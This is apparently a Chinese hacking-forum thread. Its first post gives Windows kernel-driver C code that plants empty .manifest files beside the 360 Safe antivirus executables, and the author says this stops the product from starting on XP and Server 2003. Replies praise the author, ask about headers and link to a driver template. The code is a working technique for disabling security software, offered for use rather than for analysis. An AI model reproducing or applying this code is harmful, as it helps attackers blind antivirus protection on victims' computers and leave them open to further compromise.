使用IoCreateFile创建文件禁止360启动 - HdHijack360

HoviDelphic

创建.manifest文件，可以在XP/03下阻止程序启动。

1. 
   
2. NTKERNELAPI NTSTATUS IoCreateFile
   
3. (
   
4.     __out  PHANDLE    FileHandle,
   
5.     __in  ACCESS_MASK     DesiredAccess,
   
6.     __in  POBJECT_ATTRIBUTES   ObjectAttributes,
   
7.     __out  PIO_STATUS_BLOCK   IoStatusBlock,
   
8.     __in_opt PLARGE_INTEGER    AllocationSize,
   
9.     __in  ULONG      FileAttributes,
   
10.     __in  ULONG      ShareAccess,
    
11.     __in  ULONG      CreateDisposition,
    
12.     __in  ULONG      CreateOptions,
    
13.     __in  PVOID      EaBuffer,
    
14.     __in_opt ULONG      EaLength,
    
15.     __in  CREATE_FILE_TYPE   CreateFileType,
    
16.     __in  PVOID      InternalParameters,
    
17.     __in  ULONG      Options
    
18. );
    
19. 
    
20. VOID DrvCreateFile(UNICODE_STRING *pusFilePath)
    
21. {
    
22. HANDLE hfile;
    
23. IO_STATUS_BLOCK IoSB;
    
24. OBJECT_ATTRIBUTES ObjA;
    
25. InitializeObjectAttributes(&ObjA,pusFilePath,OBJ_CASE_INSENSITIVE,NULL,NULL);
    
26. IoCreateFile(&hfile,
    
27.     GENERIC_WRITE,
    
28.     &ObjA,
    
29.     &IoSB,
    
30.     NULL,
    
31.     FILE_ATTRIBUTE_NORMAL,
    
32.     0,
    
33.     FILE_OPEN_IF,
    
34.     FILE_SYNCHRONOUS_IO_NONALERT,
    
35.     NULL,
    
36.     0,
    
37.     0,
    
38.     NULL,
    
39.     IO_NO_PARAMETER_CHECKING);
    
40. ZwClose(hfile);
    
41. }
    
42. 
    
43. VOID Fuck360()
    
44. {
    
45. UNICODE_STRING make;
    
46. RtlInitUnicodeString(&make,L"\\??\\C:\\Program Files\\360\\360safe\\360Safe.exe.manifest");
    
47. DrvCreateFile(&make);
    
48. RtlInitUnicodeString(&make,L"\\??\\C:\\Program Files\\360\\360safe\\safemon\\360tray.exe.manifest");
    
49. DrvCreateFile(&make);
    
50. }
    

复制代码

shixiaoxu

请问那些头文件就直接用楼主的驱动模板就可以了吧！
嘿嘿·····

HoviDelphic

驱动模板准备更新了……

shixiaoxu

回复 3# HoviDelphic


    期待你的新版本！

HoviDelphic

回复 4# shixiaoxu


    http://www.m5home.com/bbs/thread-3376-1-1.html

TengAttack

不知能不能在Win7下创建Con文件

erwin

楼主太牛了，顶